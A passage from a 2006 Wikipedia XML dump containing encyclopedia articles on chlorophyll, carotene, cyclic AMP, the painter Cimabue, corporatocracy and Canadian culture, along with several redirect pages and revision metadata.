[[Category:United States Secretaries of State|Powell, Colin]]
[[Category:Vietnam War veterans|Powell, Colin]]


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[[id:Colin Powell]]
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[[ja:コリン・パウエル]]
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[[ru:Пауэлл, Колин Лютер]]
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[[zh:克林·鲍威尔]]</text>
    </revision>
  </page>
  <page>
    <title>Chlorophyll</title>
    <id>6985</id>
    <revision>
      <id>42137310</id>
      <timestamp>2006-03-04T01:45:41Z</timestamp>
      <contributor>
        <ip>24.61.110.85</ip>
      </contributor>
      <comment>/* Chlorophyll and photosynthesis */</comment>
      <text xml:space="preserve">'''Chlorophyll''' is a green [[photosynthetic pigment]] found in [[plant]]s, [[alga]]e, and [[cyanobacteria]]. Its name is derived from ancient [[Greek language|Greek]]: ''chloros'' = [[green]] and ''phyllon'' = [[leaf]]. Chlorophyll absorbs mostly in the blue and to a lesser extent red portions of the [[electromagnetic spectrum]], hence its intense green color.



==Chlorophyll and photosynthesis==
In plant [[photosynthesis]], incoming light is absorbed by chlorophyll and other accessory pigments in the [[antenna complex]]es of [[photosystem I]] and [[photosystem II]].  The antenna pigments are predominantly '''chlorophyll ''α''''', '''chlorophyll ''b''''' and [[carotenoid]]s; their [[absorption spectrum]]s are non-overlapping, to broaden the range of light that can be absorbed for photosynthesis. The carotenoids have another role as an [[antioxidant]], to prevent [[photo-oxidation|photo-oxidative]] damage to the chlorophyll molecules.

Each antenna complex has between 250 and 400 pigment molecules, and the energy they absorb is shuttled by [[resonance energy transfer]] to a specialized chlorophyll ''α'' at the reaction center of each [[photosystem]]. When either of the two chorophyll ''α'' molecules at the reaction center absorb energy, an electron is excited and transferred to an electron-acceptor molecule, leaving an electron hole in the donor chlorophyll. In a poorly-understood reaction, electrons from water are [[oxidized]], the hole is filled, and diatomic oxygen is produced.  The resulting chemical energy is then captured in the form of [[Adenosine triphosphate|ATP]] and [[NADPH]], and is ultimately used to convert [[carbon dioxide]] ({{carbon}}{{oxygen}}{{sub|2}}) to [[carbohydrate]]s.  This CO{{sub|2}} fixation process results in the [[energy conversion|conversion]] of 3% to 6% of total solar radiation, with a theoretical maximum efficiency of 11%.
[http://www.fao.org/docrep/w7241e/w7241e05.htm]

The photosystem reaction centers consist of a pair of chlorophyll ''α'' molecules that are characterised by their specific absorption maximum. The chorophyll ''α'' of photosystem I is designated '''P700''', and the one from photosystem II is designated '''P680'''. The P is short for pigment, and the number is the specific [[absorption peak]] in [[nanometers]] for the chlorophyll molecules in each reaction center. 

Chlorophyll ''α'' is common to all eukaryotic photosynthetic organisms, and, due to its central role in the reaction center, is essential for photosynthesis. The accessory pigments such as chlorophyll ''b'' and carotenoids are not essential. Some [[algae]], such as brown algae and diatoms, use '''chlorophyll ''c''''' as a substitute for chlorophyll ''b''. Historically, red algae have been assumed to have '''chlorophyll ''d''''', although it could not be isolated from all species. This puzzle has recently been resolved, since the chlorophyll ''d'' is actually from an [[epiphytic]] [[cyanobacteria|cyanobacterium]] (''Acaryochloris marina'') that lives on the red algae. These cyanobacteria have a ratio of chlorophyll ''d'': chlorophyll ''α'' of approximately 30:1, and represent a rare example of a photosystem with chlorophyll ''d'' at the reaction center of the photosystem. All other known eukaryotes and cyanobacteria use chlorophyll ''α''.

Other chemical variations of chlorophyll are found in photosynthetic bacteria, other than cyanobacteria. Purple bacteria use '''[[bacteriochlorophyll]]''', which absorbs [[infrared]] light between 800nm - 900nm, and the green sulphur bacteria '''chlorobium chlorophyll'''.

==Chemical structure==

Chlorophyll is a [[chlorin]] pigment, which is structurally similar to [[porphyrin]] pigments such as [[heme]].  At the center of the porphyrin ring is a [[magnesium]] ion.  This has various side chains, usually including a long [[phytyl]] chain.  There are a few different forms that occur naturally:

{| class=&quot;wikitable&quot;
|
! Chlorophyll ''α''
! Chlorophyll ''b''
! Chlorophyll ''c1''
! Chlorophyll ''c2''
! Chlorophyll ''d''
|-
| Molecular formula
| C&lt;sub&gt;55&lt;/sub&gt;H&lt;sub&gt;72&lt;/sub&gt;O&lt;sub&gt;5&lt;/sub&gt;N&lt;sub&gt;4&lt;/sub&gt;Mg
| C&lt;sub&gt;55&lt;/sub&gt;H&lt;sub&gt;70&lt;/sub&gt;O&lt;sub&gt;6&lt;/sub&gt;N&lt;sub&gt;4&lt;/sub&gt;Mg
| C&lt;sub&gt;35&lt;/sub&gt;H&lt;sub&gt;30&lt;/sub&gt;O&lt;sub&gt;5&lt;/sub&gt;N&lt;sub&gt;4&lt;/sub&gt;Mg
| C&lt;sub&gt;35&lt;/sub&gt;H&lt;sub&gt;28&lt;/sub&gt;O&lt;sub&gt;5&lt;/sub&gt;N&lt;sub&gt;4&lt;/sub&gt;Mg
| C&lt;sub&gt;54&lt;/sub&gt;H&lt;sub&gt;70&lt;/sub&gt;O&lt;sub&gt;6&lt;/sub&gt;N&lt;sub&gt;4&lt;/sub&gt;Mg
|-
| C3 group
| -CH=CH&lt;sub&gt;2&lt;/sub&gt;
| -CH=CH&lt;sub&gt;2&lt;/sub&gt;
| -CH=CH&lt;sub&gt;2&lt;/sub&gt;
| -CH=CH&lt;sub&gt;2&lt;/sub&gt;
| -CHO
|-
| C7 group
| -CH&lt;sub&gt;3&lt;/sub&gt;
| -CHO
| -CH&lt;sub&gt;3&lt;/sub&gt;
| -CH&lt;sub&gt;3&lt;/sub&gt;
| -CH&lt;sub&gt;3&lt;/sub&gt;
|-
| C8 group
| -CH&lt;sub&gt;2&lt;/sub&gt;CH&lt;sub&gt;3&lt;/sub&gt;
| -CH&lt;sub&gt;2&lt;/sub&gt;CH&lt;sub&gt;3&lt;/sub&gt;
| -CH&lt;sub&gt;2&lt;/sub&gt;CH&lt;sub&gt;3&lt;/sub&gt;
| -CH=CH&lt;sub&gt;2&lt;/sub&gt;
| -CH&lt;sub&gt;2&lt;/sub&gt;CH&lt;sub&gt;3&lt;/sub&gt;
|-
| C17 group
| -CH&lt;sub&gt;2&lt;/sub&gt;CH&lt;sub&gt;2&lt;/sub&gt;COO-Phytyl
| -CH&lt;sub&gt;2&lt;/sub&gt;CH&lt;sub&gt;2&lt;/sub&gt;COO-Phytyl
| -CH=CHCOOH
| -CH=CHCOOH
| -CH&lt;sub&gt;2&lt;/sub&gt;CH&lt;sub&gt;2&lt;/sub&gt;COO-Phytyl
|-
| C17-C18 bond
| Single
| Single
| Double
| Double
| Single
|-
| Occurrence
| Universal
| Mostly in land plants
| Various algae
| Various algae
| cyanobacteria
|}
{|
| [[Image:chlorophyll_structure.png|thumb|left|200px|Common structure of chlorophyll ''α'', ''b'' and ''d'']] 
|| [[Image:Chlorophyll c.png|thumb|left|200px|Common structure of chlorophyll ''c1'', and ''c2'']]
|}

==Evidence for chlorophyll==

[[Image:chlorophyll_ab_spectra.png|thumbnail|200px|right|Absorbance spectra of by chlorophyll ''α'' (&lt;font color=green&gt;green&lt;/font&gt;) and ''b'' (&lt;font color=red&gt;red&lt;/font&gt;)]]

Chlorophyll can be shown to be vital for photosynthesis by destarching a leaf from a [[variegated plant]] and exposing it to [[light]] for several hours. (Variegated leaves have green areas that contain chlorophyll and white areas that have none.) When tested with [[iodine]] solution, a color change revealing the presence of [[starch]] occurs only in regions of the leaf that were green and therefore contained chlorophyll. This shows that photosynthesis does not occur in areas where chlorophyll is absent, and constitutes evidence that the presence of chlorophyll is a requirement for photosynthesis.

== References ==
# Speer, Brian R. (1997). [http://www.ucmp.berkeley.edu/glossary/gloss3/pigments.html &quot;Photosynthetic Pigments&quot;] in ''[http://www.ucmp.berkeley.edu/glossary/ UCMP Glossary (online)]''.  University of California, Berkeley Museum of Paleontology.  Verified availability August 4, 2005.
# [http://www.mbl.ku.dk/mkuhl/pages/PDF/Larkum&amp;Kuhl_2005.pdf PDF review-Chlorophyll d: the puzzle resolved]

[[Category:Photosynthetic pigments]]

[[ar:كلوروفيل]]
[[cs:Chlorofyl]]
[[da:Klorofyl]]
[[de:Chlorophyll]]
[[es:Clorofila]]
[[eo:Klorofilo]]
[[fa:سبزینه]]
[[fr:Chlorophylle]]
[[gl:Clorofila]]
[[ko:엽록소]]
[[it:Clorofilla]]
[[he:כלורופיל]]
[[lt:Chlorofilas]]
[[mk:Хлорофил]]
[[ms:Klorofil]]
[[nl:Bladgroen]]
[[ja:葉緑素]]
[[no:Klorofyll]]
[[pl:Chlorofil]]
[[pt:Clorofila]]
[[ru:Хлорофилл]]
[[fi:Lehtivihreä]]
[[sv:Klorofyll]]
[[ta:பச்சையம்]]
[[wa:Clorofile]]
[[zh:叶绿素]]</text>
    </revision>
  </page>
  <page>
    <title>Carotene</title>
    <id>6986</id>
    <revision>
      <id>40336135</id>
      <timestamp>2006-02-19T22:18:09Z</timestamp>
      <contributor>
        <username>Cunningman86</username>
        <id>848058</id>
      </contributor>
      <comment>/* &amp;beta;-carotene */</comment>
      <text xml:space="preserve">'''Carotene''' is an [[orange (color)|orange]] [[photosynthetic pigment]] important for [[photosynthesis]].
It is responsible for the orange colour of the [[carrot]] and many other fruits and vegetables.  It contributes to photosynthesis by transmitting the light energy it absorbs to [[chlorophyll]].

Chemically, carotene is a [[terpene]]. It is the [[dimer]] of [[retinol]] (vitamin A) and comes in two primary forms: &amp;alpha; and &amp;beta;-carotene.  &amp;gamma;, &amp;delta; and &amp;epsilon;-carotene also exist.  Carotene can be stored in the [[liver]] and converted to vitamin A as needed.

==Carotenemia==
{{main|Carotenodermia}}
Carotenemia or hypercarotenemia is excess carotene, and unlike excess Vitamin A is non-toxic.  Although hypercarotenemia is not particularly dangerous, it can lead to a yellowing of the skin (carotenodermia). It is most commonly associated with consumption of an abundance of [[carrot]]s, but it also can be an [[medical sign]] of more dangerous conditions.
A randomised trial into the use of beta carotene and Vitamin A for treatment of lung cancer had to be stopped early due to the apparent increase in the incidence of lung cancer{{ref|fn1}}.

==The two forms==
===&amp;alpha;-carotene===
[[Image:alpha-carotene.png|center|&amp;alpha;-carotene]]
===&amp;beta;-carotene===
[[Image:beta_carotene.gif]]

&amp;beta;-carotene can be found in [[yellow]], [[Orange (colour)|orange]], and [[green]] [[leaf]]y [[fruit]]s and [[vegetable]]s. These can be carrots, [[spinach]], [[lettuce]], [[tomato]]es, [[sweet potato]]es, [[broccoli]], [[cantaloupe]], [[Orange (fruit)|orange]], and [[squash_(fruit)|winter squash]]. As a [[rule of thumb]], the greater the intensity of the color of the fruit or vegetable, the more beta-carotene it contains.

&amp;beta;-carotene is an [[anti-oxidant]] and such can be useful for curbing the excess of damaging [[free radicals]] in the body. However, the usefulness of &amp;beta;-carotene as a [[dietary supplement]] (i.e. taken as a pill) is still subject to debate{{ref|fn1}}. &amp;beta;-carotene is [[fat]]-[[solubility|soluble]], so a small amount of fat is needed to absorb it into the body.

==Carotenoids==
Carotenes are un-oxidized [[carotenoids]]. Carotenoids in which some of the double bonds have been oxidized 
are known as [[xanthophyll]]s.

==Production==
Most of the world's synthetic supply comes from a manufacturing complex located in [[Freeport, Texas]] and owned by the DSM corporation. 

==Nomenclature==
The two ends of the &amp;beta;-carotene molecule are structurally identical, and are called '''&amp;beta;-rings'''. Specifically, the group of nine carbon atoms at each end form a &amp;beta;-ring.

The &amp;alpha;-carotene molecule has a &amp;beta;-ring at one end; the other end is called an '''&amp;epsilon;-ring'''. There are no &quot;&amp;alpha;-rings&quot;.

These and similar names for the ends of the carotenoid molecules form the basis of a systematic naming scheme, according to which:
* &amp;alpha;-carotene is '''&amp;beta;,&amp;epsilon;-carotene''';
* &amp;beta;-carotene is '''&amp;beta;,&amp;beta;-carotene''';
* &amp;gamma;-carotene (with one &amp;beta; ring and one uncyclized end that is labelled ''[[Psi (letter)|psi]]'') is '''&amp;beta;,&amp;psi;-carotene''';
* &amp;delta;-carotene (with one &amp;epsilon; ring and one uncyclized end) is '''&amp;epsilon;,&amp;psi;-carotene''';
* &amp;epsilon;-carotene is '''&amp;epsilon;,&amp;epsilon;-carotene''',

==References==
# {{note|fn1}} [http://content.nejm.org/cgi/content/abstract/334/18/1150 Effects of a Combination of Beta Carotene and Vitamin A on Lung Cancer and Cardiovascular Disease]
# {{note|fn2}} [http://www.cancer.gov/cancertopics/factsheet/Prevention/betacarotene Questions and Answers About Beta Carotene Chemoprevention Trials]

==External links==
*[http://www.chm.bris.ac.uk/motm/carotene/beta-carotene_home.html  Beta-carotene website by Martha Evens,  School of Chemistry, University of Bristol]
*[http://www.berkeleywellness.com/html/ds/dsBetaCarotene.php Berkeley Wellness Guide to Dietary Supplements]
*[http://www.umm.edu/altmed/ConsSupplements/BetaCarotenecs.html Beta-caroten on University of Maryland]
*[http://www.herbalchem.net/Carotenoids_Advanced.htm Carotenoids on Herbal Phytochemistry]

[[Category:Vitamins]]
[[Category:Food colorings]]
[[Category:Terpenes and terpenoids]]
[[Category:Carotenoids]]

[[ar:كاروتين]]
[[de:Carotine]]
[[es:Caroteno]]
[[fr:Carotène]]
[[lt:Karotinas]]
[[nl:Caroteen]]
[[ja:Β-カロテン]]
[[pl:Karoten]]</text>
    </revision>
  </page>
  <page>
    <title>Cyclic adenosine monophosphate</title>
    <id>6988</id>
    <revision>
      <id>41770037</id>
      <timestamp>2006-03-01T16:53:55Z</timestamp>
      <contributor>
        <username>Trickywiki</username>
        <id>1012236</id>
      </contributor>
      <text xml:space="preserve">[[image:CAMP.jpg|thumb|right|120px|Structure of cAMP]]
[[Image:CAMP.PNG|400px|thumb|right|CAMP represented in three ways, the left with sticks-representation, the middle with structure formula, and the right with space filled representation. Red = Oxygen, Lightblue=Carbon, White=Hydrogen, Darkblue=Nitrogen and Purple= Phosphorus]]
'''Cyclic adenosine monophosphate''' ('''cAMP''', '''cyclic AMP''' or 3'-5'-cyclic [[adenosine monophosphate]]) is a [[molecule]] that is important in many biological processes; it is derived from [[adenosine triphosphate]] (ATP).
cAMP is a [[second messenger]], used for intracellular [[signal transduction]], such as transferring the effects of [[hormone]]s like [[glucagon]] and [[adrenaline]], which cannot get through the cell membrane. Its main purpose is the activation of [[protein kinase]]s; it is also used to regulate the passage of [[calcium|Ca&lt;sup&gt;2+&lt;/sup&gt;]] through [[ion channels]].

=== cAMP synthesis and decomposition ===
cAMP is synthesized from ATP by [[adenylate cyclase]]. Adenylate cyclase is located at the cell membranes. It is activated by the hormones glucagon and adrenaline and by [[G protein]]. Liver adenylate cyclase responds more strongly to glucagon, and muscle adenylate cyclase responds more strongly to adrenaline.

cAMP decomposition into AMP is catalyzed by the enzyme [[phosphodiesterase]]. This enzyme is inhibited by high concentrations of [[caffeine]], so it is possible that the stimulatory effect of this drug is the result of the raised cAMP levels that it causes (However it seems the concentrations required for caffeine to be effective are very high and a more likely explanation for the drug's effects involve the adenosine molecule).


Molecular Formula: C&lt;sub&gt;10&lt;/sub&gt;H&lt;sub&gt;12&lt;/sub&gt;N&lt;sub&gt;5&lt;/sub&gt;O&lt;sub&gt;6&lt;/sub&gt;P

Molecular Weight:  329.21

=== Protein kinase activation ===
Cyclic AMP is involved in some protein kinases. For example, PKA (protein kinase A, also known as [[cAMP-dependent protein kinase]]) is normally inactive as a tetrameric [[holoenzyme]], consisting of 2 [[catalysis|catalytic]] and 2 regulatory units (C&lt;sub&gt;2&lt;/sub&gt;R&lt;sub&gt;2&lt;/sub&gt;), with the regulatory units blocking the catalytic centers of the catalytic units.

Cyclic AMP binds to specific locations on the regulatory units of the protein kinase, and causes dissociation between the regulatory and catalytic subunits, thus activating the catalytic units and enabling them to phosphorylate substrate proteins.

=== Glycogen decomposition regulation ===
cAMP controls many biological processes, including [[glycogen]] decomposition into [[glucose]] (glycogenolysis), and  [[lipolysis]].

=== Role of cAMP in bacteria ===
In [[bacterium|bacteria]], the level of cAMP varies depending on the medium used for growth.  In particular, cAMP is low when glucose is the carbon source.  This occurs through inhibition of the cAMP-producing enzyme, adenylate cyclase, as a side effect of glucose transport into the cell.  The transcription factor CRP (or CAP) forms a complex with cAMP and thereby is activated to bind to DNA.  CRP-cAMP increases expression of a large number of genes, including some encoding [[enzyme]]s that can supply energy independent of glucose.

=== Role of cAMP in Dictyostelium discoideum ===
The chemotactic movements of the cells are organized by periodic waves of cAMP that propagate through the cell. The waves are the result of a regulated production and secretion of extracellular cAMP and a spontaneous biological oscillator that initiates the waves at centers of territories.

==External links==
*''[http://www.assaydesigns.com/products/catalog/immuno_assay/product_cAMP.htm cyclic AMP ELISA Kit from Assay Designs]'', manufacturer of reliable kit measuring cyclic AMP concentrations

== See also ==

* [[Cyclic guanosine monophosphate]] (cGMP)

{{Nucleic acids}}

[[Category:Nucleotides]]
[[Category:Signal transduction]]

[[de:Zyklisches Adenosinmonophosphat]]
[[fr:Adénosine monophosphate cyclique]]
[[lt:CAMP]]
[[ja:環状アデノシン一リン酸]]
[[pl:CAMP]]
[[sr:Циклични аденозин монофосфат]]
[[zh:环磷酸腺苷酸]]</text>
    </revision>
  </page>
  <page>
    <title>Channel Islands/Jersey</title>
    <id>6989</id>
    <revision>
      <id>15905095</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Jersey]]

:''See also :'' [[Channel Islands]]</text>
    </revision>
  </page>
  <page>
    <title>Cimabue</title>
    <id>6991</id>
    <revision>
      <id>40547420</id>
      <timestamp>2006-02-21T09:41:35Z</timestamp>
      <contributor>
        <username>Phil Boswell</username>
        <id>24373</id>
      </contributor>
      <comment>[[WP:AWB|AWB assisted]] migrate {{[[template:book reference|book reference]]}} to {{[[template:cite book|cite book]]}}</comment>
      <text xml:space="preserve">[[Image:Cimabue 025.jpg|right|thumb|300px|''Crucifix'' (1287-88) Panel, 448 x 390 cm &lt;br&gt; [[Basilica di Santa Croce di Firenze|Basilica di Santa Croce]], Florence]]
'''Cenni di Pepo (Giovanni) Cimabue''' (c [[1240]] in [[Florence, Italy]] — c [[1302]] in Florence, Italy) also known as Bencivieni Di Pepo or in modern Italian, Benvenuto Di Giuseppe was a [[Florence|Florentine]] [[painter]] and creator of [[mosaic]]s, better known as the artist who discovered [[Giotto di Bondone|Giotto]] and with him moved towards treating figures as individuals. Cimabue is generally thought of as the last great painter working in the [[Byzantine art|Byzantine tradition]].  The art of this time showed scenes and styles that appeared relatively flat.  Cimabue was a pioneer in the move towards more realism with figures more realistically shaded and more proportional.  His works influenced later artists such as [[Giotto_di_Bondone|Giotto]].

Not much is known about his life, and there is little surviving documentation.  His life was described in [[Giorgio Vasari]]'s ''The Lives of the Most Excellent Painters, Sculptors, and Architects'', widely regarded as the first art history book.  However, this book was written over 200 years after Cimabue's death, so although it is one of the few records we have of him, its accuracy is unknown.  It says:
:''Instead of studying his letters, Cimabue spent all his time covering his paper and his books with pictures showing people, horses, houses, and various other things he dreamt up.''

==See also==
{{Commons|Category:Cimabue}}
* [[List of painters]]
* [[List of Italian painters]]
* [[List of famous Italians]]

==Sources==
*{{cite book
 | author=Vaughn, William
 | title=Encyclopedia of Artists
 | publisher=Oxford University Press, Inc
 | year=2000
 | id=ISBN 0-19-521572-9
 }}

[[Category:1240 births|Cimabue]]
[[Category:1302 deaths|Cimabue]]
[[Category:Tuscan painters|Cimabue]]
[[Category:Byzantine painters|Cimabue]]
[[Category:Gothic painters|Cimabue]]
[[Category: Natives of Tuscany]]

[[be:Чымабуэ]]
[[da:Giovanni Cimabue]]
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[[ja:チマブーエ]]
[[nl:Cimabue]]
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[[pt:Cimabue]]
[[ru:Чимабуэ, Джованни]]
[[sv:Cimabue]]

{{Italy-painter-stub}}</text>
    </revision>
  </page>
  <page>
    <title>Corporocracy</title>
    <id>6992</id>
    <revision>
      <id>15905097</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
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      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Corporatocracy]]
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  </page>
  <page>
    <title>Carl Gustav XVI</title>
    <id>6993</id>
    <revision>
      <id>15905098</id>
      <timestamp>2003-11-08T10:33:12Z</timestamp>
      <contributor>
        <username>Minesweeper</username>
        <id>7279</id>
      </contributor>
      <minor />
      <comment>fix double redir</comment>
      <text xml:space="preserve">#REDIRECT [[Carl XVI Gustaf of Sweden]]</text>
    </revision>
  </page>
  <page>
    <title>Corporotocracy</title>
    <id>6995</id>
    <revision>
      <id>15905100</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
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      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Corporatocracy]]
</text>
    </revision>
  </page>
  <page>
    <title>Corporatocracy</title>
    <id>6997</id>
    <revision>
      <id>40332084</id>
      <timestamp>2006-02-19T21:47:09Z</timestamp>
      <contributor>
        <username>Maschewel82</username>
        <id>959438</id>
      </contributor>
      <comment>re: John Perkin's &quot;Confessions of an Economic Hit Man&quot;</comment>
      <text xml:space="preserve">'''Corporatocracy''' (sometimes '''corporocracy''') is a [[neologism]] coined by proponents of the [[Global Justice Movement]] to describe a [[government]] bowing to pressure from corporate entities. 

While anyone can become a shareholder in principle, in reality it is frequently only the wealthy who can afford to own enough stock to directly influence the voting (and hence the activities) of a corporation. Hence the ''corporatocracy'' might be considered somewhat synonymous with [[plutocracy]], government by the rich.

Some would argue that a real corporatocracy can only appear when (and if) a government makes it legal to bribe politicians. That quickly makes politicians very corporate-friendly, and makes it easy for corporations to pass laws as they see fit. Many people in the [[United States]] believe the allowance for campaign contributions has created such a situation and view the contributions that prompted the [[Sonny Bono Copyright Term Extension Act]] and the [[Digital Millennium Copyright Act]] as evidence.  Also, many argue that when the major media outlets are controlled by large corporations, access to information tends to become limited to what serves corporate interests, and corporate interests in turn are able to define the national political agenda. Finally when the majority of wealth of the politicians is invested into corporations, that gives politicians incentive to support the corporations. 

The nature of corporations and stock market speculation makes some of the desires of corporations unexpected. For example, a national corporation in a purely national industry (non international), would be less worried about a universal regulation which would decrease profits, than a regulation that would target that individual company, since investors would be more likely to divest in the second case.

An example of such a system could be [[Singapore]], where the state supports a strong [[free market]], with weak and sometimes nonexistent political freedom. Although the corporations do not rule Singapore, the state often supports them.

Critics of this term argue that the term has no real meaning in terms of [[political theory]], arguing that a [[corporation]] is nothing more than a body of individuals, ruled by a governing body (elected by its shareholders) and executives appointed by that body. As such, it is claimed to have as much a right as any other body of people to exercise powers (such as voters). Pursuing the overriding shareholder interest in corporate profitability generally guides the actions of corporate governing bodies, and it is in the pursuit of this interest that corporations exercise their financial and marketplace power in order to influence public policy.

The term however is accurate to describe actions of Corporations interested in maintaining (for them) positive laws, and thus makes it a question of resources to spend (it can be cheaper to give money to a few individuals than to bow to strict laws that cost a lot)

Corporatocracy is also used by John Perkins in his 2004 book ''Confessions of an Economic Hit Man'' to describe a system of governance controlled by &quot;big corporations, international banks, and government&quot; (Perkins / Plume paperback edition, 94).  Harking back to the &quot;military-industrial complex&quot;, Perkins sees the corporatocracy manifested in the following cycle: the World Bank issues loans to developing nations to pay for large-scale development projects; contracts are then doled out to a handful of American engineering firms; as a result, these countries become ensared in a net of interest payments and debts they cannot repay.  American corporations benefit through increased profits, and the U.S. government benefits through securing its political clout and control over developing countries with vast natural resources.  The majority of people in those countries do not benefit, however, since a large portion of their country's budget goes toward servicing the national debt instead of improving living conditions.  

Perkins describes how the convergence between big corporations, international banks, and government - according to him, the three pillars of corporatocracy - allows economic elite to move easily between these sectors.  He offers several examples, including that of Vice President and former Halliburton CEO Dick Cheney (Perkins / Plume paperback edition, 91). 





==See also==
*[[Corporate abuse]]
*[[Corporate police state]]
*[[Corporatism]]
*[[Crony capitalism]]
*[[Kleptocracy]]
*[[Corporate Personhood]]
*[[Confessions of an Economic Hit Man]]

[[zh:公司王国]]
[[Category: Forms of government]] [[Category: Political neologisms]]</text>
    </revision>
  </page>
  <page>
    <title>Culture of Canada</title>
    <id>6999</id>
    <revision>
      <id>41298242</id>
      <timestamp>2006-02-26T10:35:39Z</timestamp>
      <contributor>
        <ip>72.60.89.91</ip>
      </contributor>
      <comment>/* Symbols */</comment>
      <text xml:space="preserve">It has been said that '''Canadian culture''' rests solely in the effort to distinguish itself from its southern neighbour, the [[United States]]. However, others argue that while the two countries share some aspects of a common cultural heritage, there is also a separately identifiable [[Canada|Canadian]] culture. They point to what they view as a greater integration of their [[First Nations|Native]] culture; the retention of traditions descended from those of [[France|French]] settlers; and a notable infusion of [[Modern Celts|Celtic]] settlers in later phases of the country's history.

One matter of contention in the effort to study Canadian culture rests in the fact of Canada's [[bilingualism]]; there is little reason to question the distinct identities of the [[English language|English]]- and [[French language|French]]-speaking peoples of Canada. However, [[John Ralston Saul]] conjectures that [[Gabrielle Roy]] is better known in [[anglophone]] Canada than in [[France]], and more [[Francophone|French-Canadians]] know of [[Margaret Laurence]] and [[Atom Egoyan]] than Americans.

==Art==
{{main|Art in Canada}}

==Literature==
{{see also|Canadian literature|List of Canadian writers}}

==Canadian theatre==
{{main|Theatre in Canada}}
Canada has a thriving stage theatre scene, especially in Southern Ontario and in Quebec. Theatre festivals draw many tourists in the summer months, especially the [[Stratford Shakespeare Festival]] in [[Stratford, Ontario|Stratford]] [[Ontario]], and the [[Shaw Festival]] in [[Niagara On The Lake]], [[Ontario]].  The [[Famous People Players]] are only one of many touring companies that have also developed an international reputation.  Canada also boasts the world's second largest live theatre festival, the Edmonton Fringe Festival.

== Film and television ==
{{main|Cinema of Canada}}{{see also|Cinema of Quebec}}

The Canadian film market was dominated by the American film industry for decades. In the 1960s  [[Michel Brault]], [[Pierre Perrault]], [[Gilles Groulx]], [[Jean-Pierre Lefebvre]], [[Arthur Lamothe]]  and other filmmakers from [[Québec]] began to challenge [[Hollywood]] by making innovative and politically relevant documentary and feature films. Among the important English-speaking filmmakers from this period are [[Allan King]], Norman Jewison and [[Robin Spry]]. [[Michael Snow]] continues to be one of the most respected experimental film makers in the world.  Norman Jewison recently recieved a Lifetime Achievement 'Oscar' Academy Award.

Canada has developed a vigorous [[film]] industry that has produced a variety of well-known films, [[actor]]s, and auteurs. In fact, this eclipsing may sometimes be creditable for the rather bizarre and quite innovative directions of the works of such auteurs as [[Atom Egoyan]] (''[[The Sweet Hereafter]]'', 1997) and [[David Cronenberg]](&quot;A History of Violence&quot;, &quot;The Fly&quot;, &quot;Naked Lunch&quot;). Also, the distinct French-Canadian society permits the work of directors such as [[Denys Arcand]] and [[Denis Villeneuve]]. However given Canada's small population and perhaps, because of the closeness of the giant American TV and film industries, distinctively Canadian productions such as those in [[TIFF's List of Canada's Top Ten Films of All Time]] are relatively thin on the ground, compared with the situations in the United Kingdom.  However, Lion's Gates Films and Alliance Atlantis are two film production companies headquartered in Canada who have grown large enough to compete with larger American productions down south.  In addition, because of the intricate relationship between the American and Canadian film industry, numerous films such as David Cronenberg's &quot;A History of Violence&quot; (2005) are often credited as both Canadian films by Canadian publications and an American films by American publications due to differing definitions of what constitutes a Canadian or American film by each country.

A number of [[Canadian pioneers in early Hollywood]] significantly contributed to the creation of the motion picture industry in the early days of the 20th century. Over the years, many Canadians have made enormous contributions to the American entertainment industry, although they are frequently not recognized as Canadians (see [[Famous Canadians]]).   

Canada's film industry is in full expansion as a site for Hollywood productions. The series ''[[The X-Files]]'' was famously shot in [[Vancouver]] as is ''[[Stargate SG-1]]'', the 2003 version of ''[[Battlestar Galactica (2003)|Battlestar Galactica]]'', and ''[[The Outer Limits]]''.  The American ''[[Queer as Folk (US)|Queer as Folk]]'' is filmed in [[Toronto]].  Since the 1980s Canada, and Vancouver in particular, has become known as [[Hollywood North]]. As with its' southern counterpart in California, USA, many Canadians are employed in the film industry and celebrity-spotting is frequent throughout many Canadian cities.  [[Montreal]], due to its [[Europe|European]] appearance, has served in a great variety of mainstream movies, attracting the loyalty of industry people such as [[Bruce Willis]]; there are plans to build the world's biggest film studio on the outskirts of the city. The choice of location is allegedly due to cost, rather than a requirement for a 'Canadian atmosphere'. The frequent question of a Canadian, seeing a film crew on their local streets is 'Which bit of the States are we pretending to be today?'.

Canadian [[television]], especially supported by the [[Canadian Broadcasting Corporation]], is the home of a variety of locally-produced shows. French-language television, like French Canadian film is buffered from excessive American influence by the fact of language, and likewise supports a host of home-grown productions. The relative success of French-language domestic television and movies in Canada often exceeds that of its English-language counterpart.

The [[Canadian Radio-television and Telecommunications Commission]]'s Canadian content regulations dictate that a certain percentage of a domestic broadcaster's transmission time must include content that is produced by Canadians, or covers Canadian subjects. This also applies to [[United States|US]] [[cable television]] channels such as [[MTV]] and the [[Discovery Channel]], which have local versions of their channels available on Canadian cable networks. Similarly, [[BBC Canada]], while primarily showing [[BBC]] shows from the [[United Kingdom|UK]], also carries Canadian output.

[[National Film Board of Canada]] [http://www.nfb.ca/e/index_about.html ], is 'a public agency that produces and distributes films and other audiovisual works which reflect Canada to Canadians and the rest of the world'.

The Toronto International Film Festival (TIFF) is considered by many to be one of the most prevlent film festivals for Western cinema.

Canada has produced many film and television stars, newscasters, directors and producers including:
[[Brent Butt]], [[Pamela Anderson]], [[William Shatner]], Norman Jewison, Michael j. Fox, Lorne Michaels (producer of &quot;Satuday Night Live&quot;) Alan Thicke, Alex Trebek, Mike Myers, Eugene Levy, Martin Short, Kiefer Sutherland, Keanu Reeves, Rick Moranis, Peter Jennings and [[Jim Carrey]].

In addition, many popular political documentaries such as Noam Chomsky's Manufacturing Consent, The Corporation and Bowling for Columbine involved Canadian production and funding.

== Comedy ==
{{main|Canadian humour}}
Canadian TV is noted for cutting political satire such as ''[[This Hour Has 22 Minutes]]'', ''[[Rick Mercer Report]]'', and ''[[Royal Canadian Air Farce]]''. 

